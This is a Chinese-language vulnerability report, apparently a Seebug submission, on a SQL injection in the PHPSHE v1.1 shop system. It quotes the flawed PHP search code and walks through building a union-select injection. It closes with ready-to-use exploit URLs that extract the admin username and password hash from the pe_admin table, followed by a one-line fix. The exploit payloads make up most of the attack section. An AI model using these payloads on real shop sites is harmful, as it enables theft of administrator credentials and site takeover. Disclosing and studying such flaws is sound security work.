PHPSHE商城系统集合了众多的功能,并提供了简易的操作、实用的功能,快速让用户建立独立个性化的网上商店,为用户提供了一个低成本、高效率的网上商城建设方案。
但在其 v1.1版本中,程序对参数过滤不严,存在sql注入漏洞
module/index/product.php
```
...82行
case 'list':
$category_id = intval($id);
$info = $db->pe_select('category', array('category_id'=>$category_id));
//搜索
$sqlwhere = " and `product_state` = 1";
pe_lead('hook/category.hook.php');
if ($category_id) {
$sqlwhere .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
}
$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //从get中获取的数据,直接就拼接sql语句了
if ($_g_orderby) {
$orderby = explode('_', $_g_orderby);
$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
}
else {
$sqlwhere .= " order by `product_id` desc";
}
$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
```
以get方式传的值,直接赋给了$_g_keyword,而没有进行任何的过滤。这就导致了
sql注入的可能。
随便搜索个,然后我们在sql查询历史里分析下sql语句,进而构造我们的代码:
![](https://images.seebug.org/contribute/bbe2add5-6806-4db7-925a-96354620560d)
![](https://images.seebug.org/contribute/c0ffcb50-9006-44bf-9faf-be249981c2b8)
%123%这个位置,我们是可以控制的。
去数据库看了下,pe_product有19个字段,所以我们union 联合查询,也需要写19个字段。
```
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 from pe_admin
```
同时,我们还需要将我们sql语句后面的无关语句注释掉。
```
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 from pe_admin -- a
```
(需要再给-- 后加上一个任意字符,以此表示整体为一行,这样才能成功地把后面的语句注释掉)
```
http://192.168.227.129/product/list?keyword=-123'union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 from pe_admin -- a
```
我们来看看哪个字段可以用于显示(给123加上-,以此屏蔽掉无关信息)
![](https://images.seebug.org/contribute/38ba1442-bc72-4a8c-ba26-f149cd8c2729)
ok,第二个字段可以用于显示。
最终的exp:
```
http://192.168.227.129/product/list?keyword=-123'union select 1,admin_name,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 from pe_admin -- a
```
```
http://192.168.227.129/product/list?keyword=-123'union select 1,admin_pw,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 from pe_admin -- a
```
漏洞证明:
![](https://images.seebug.org/contribute/1bdf1c72-9950-4f87-a9f0-3aee7ab4c884)
![](https://images.seebug.org/contribute/a4835a2f-efbd-44f6-8116-fce472794410)
phpshev1.1源码:
http://www.onlinedown.net/softdown/435685_2.htm
漏洞解决方案:
变量进入sql语句之前,要进行过滤
暂无评论